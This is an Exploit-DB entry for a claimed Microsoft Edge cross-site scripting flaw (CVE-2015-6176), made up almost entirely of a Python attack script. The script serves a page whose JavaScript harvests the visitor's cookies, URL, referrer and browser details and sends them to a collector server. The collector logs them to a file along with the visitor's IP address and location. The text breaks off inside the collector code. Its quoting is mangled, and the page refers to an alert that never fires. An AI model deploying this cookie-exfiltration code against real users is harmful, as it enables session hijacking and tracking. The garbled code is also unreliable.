Exploit-DB #52372
Description: Microsoft Edge Windows 10 Version 1511 - Cross Site Scripting (XSS)
Type: remote
Platform: windows
Date: 2025-07-22
Author: nu11secur1ty

Exploit:
# Titles: Microsoft Edge Windows 10 Version 1511 - Cross Site Scripting (XSS)
# Author: nu11secur1ty
# Date: 2025-07-18
# Vendor: Microsoft
# Software: Microsoft Edge Browser
# Reference: https://www.cve.org/CVERecord?id=CVE-2015-6176

#!/usr/bin/python
# nu11secur1ty CVE-2015-6176

import http.server
import socketserver
import socket
import threading
from urllib import parse
import requests
import datetime

PORT = 8080
COLLECTOR_PORT = 9000

# HTML page with extended XSS exploit that sends lots of info via Image GET
to collector
HTML_CONTENT = b\\\"\\\"\\\"<!DOCTYPE html>
<html lang=\\\"en\\\">
<head>
<meta charset=\\\"UTF-8\\\" />
<title>XSS Edge Bypass PoC</title>
<script>
window.onload = function() {
    try {
        var attackerServer = \\\"http://{LOCAL_IP}:{COLLECTOR_PORT}/collect\\\";
        var cookies = document.cookie || \\\"\\\";
        var url = window.location.href;
        var referrer = document.referrer;
        var language = navigator.language || \\\"\\\";
        var platform = navigator.platform || \\\"\\\";
        var timezone = Intl.DateTimeFormat().resolvedOptions().timeZone ||
\\\"\\\";
        var screenRes = screen.width + \\\"x\\\" + screen.height;

        var data = {
            cookie: cookies,
            url: url,
            referrer: referrer,
            language: language,
            platform: platform,
            timezone: timezone,
            screen: screenRes
        };

        var query = Object.keys(data).map(function(k) {
            return encodeURIComponent(k) + \\\"=\\\" +
encodeURIComponent(data[k]);
        }).join(\\\"&\\\");

        var img = new Image();
        img.src = attackerServer + \\\"?\\\" + query;
    } catch(e) {
        console.error(\\\"Error sending data:\\\", e);
    }
};
</script>
</head>
<body>
<h1 style=\\\"color:red;\\\">XSS Edge Bypass PoC</h1>
<p>If this alert appears, XSS is executed.</p>
</body>
</html>
\\\"\\\"\\\"

# Collector page with large sea picture and centered message (Unicode
allowed)
COLLECTOR_PAGE = \\\"\\\"\\\"<!DOCTYPE html>
<html lang=\\\"en\\\">
<head>
<meta charset=\\\"UTF-8\\\" />
<title>Collected</title>
<style>
  body {
    margin: 0;
    background: url(\\\'
https://images.unsplash.com/photo[PII_REDACTED][PII_REDACTED]4b3fb?auto=format&fit=crop&w=1350&q=80\\\')
no-repeat center center fixed;
    background-size: cover;
    height: 100vh;
    display: flex;
    justify-content: center;
    align-items: center;
    color: white;
    font-family: Arial, sans-serif;
    font-size: 2em;
    text-shadow: 2px 2px 5px rgba(0,0,0,0.7);
  }
</style>
</head>
<body>
<div>Thank you for visiting the collector page </div>
</body>
</html>
\\\"\\\"\\\"

class ExploitHandler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        if self.path in (\\\'/\\\', \\\'/index.html\\\'):
            content = HTML_CONTENT.replace(b\\\"{LOCAL_IP}\\\",
local_ip.encode()).replace(b\\\"{COLLECTOR_PORT}\\\",
str(COLLECTOR_PORT).encode())
            self.send_response(200)
            self.send_header(\\\"Content-Type\\\", \\\"text/html; charset=utf-8\\\")
            self.send_header(\\\"Content-Length\\\", str(len(content)))
            self.end_headers()
            self.wfile.write(content)
        else:
            self.send_error(404)

class CollectorHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        parsed_path = parse.urlparse(self.path)
        if parsed_path.path == \\\"/collect\\\":
            query = parse.parse_qs(parsed_path.query)

            cookie = query.get(\\\"cookie\\\", [\\\"\\\"])[0]
            url = query.get(\\\"url\\\", [\\\"\\\"])[0]
            referrer = query.get(\\\"referrer\\\", [\\\"\\\"])[0]
            language = query.get(\\\"language\\\", [\\\"\\\"])[0]
            platform = query.get(\\\"platform\\\", [\\\"\\\"])[0]
            timezone = query.get(\\\"timezone\\\", [\\\"\\\"])[0]
            screen = query.get(\\\"screen\\\", [\\\"\\\"])[0]

            ip = self.client_address[0]
            user_agent = self.headers.get(\\\"User-Agent\\\", \\\"Unknown\\\")
            timestamp = datetime.datetime.now().strftime(\\\"%Y-%m-%d
%H:%M:%S\\\")

            location = self.get_location(ip)

            if cookie:
                print(f\\\"[{timestamp}] [+] Collected cookie: {cookie}\\\")
            print(f\\\"    URL: {url}\\\")
            print(f\\\"    Referrer: {referrer}\\\")
            print(f\\\"    Language: {language}\\\")
            print(f\\\"    Platform: {platform}\\\")
            print(f\\\"    Timezone: {timezone}\\\")
            print(f\\\"    Screen Resolution: {screen}\\\")
            print(f\\\"    From IP: {ip}\\\")
            print(f\\\"    User-Agent: {user_agent}\\\")
            print(f\\\"    Location: {location}\\\")
            print(\\\"-\\\" * 50)

            # Save collected info to a file
            with open(\\\"collected_data.log\\\", \\\"a\\\", encoding=\\\"utf-8\\\") as f:
                f.write(f\\\"[{timestamp}] Cookie: {cookie}\\\\n\\\")
                f.write(f\\\"    URL: {url}\\\\n\\\")
                f.write(f\\\"    Referrer: {referrer}\\\\n\\\")
                f.write(f\\\"    Language: {language}\\\\n\\\")
                f.write(f\\\"    Platform: {platform}\\\\n\\\")
                f.write(f\\\"    Timezone: {timezone}\\\\n\\\")
                f.write(f\\\"    Screen Resolution: {screen}\\\\n\\\")
                f.write(f\\\"    IP: {ip}\\\\n\\\")
                f.write(f\\\"    User-Agent: {user_agent}\\\\n\\\")
                f.write(f\\\"    Location: {location}\\\\n\\\")
                f.write(\\\"-\\\" * 50 + \\\"\\\\n\\\")

            self.send_response(200)
            self.send_header(\\\"Content-Type\\\", \\\"text/html; charset=utf-8\\\")
            content = COLLECTOR_PAGE.encode(\\\'utf-8\\\')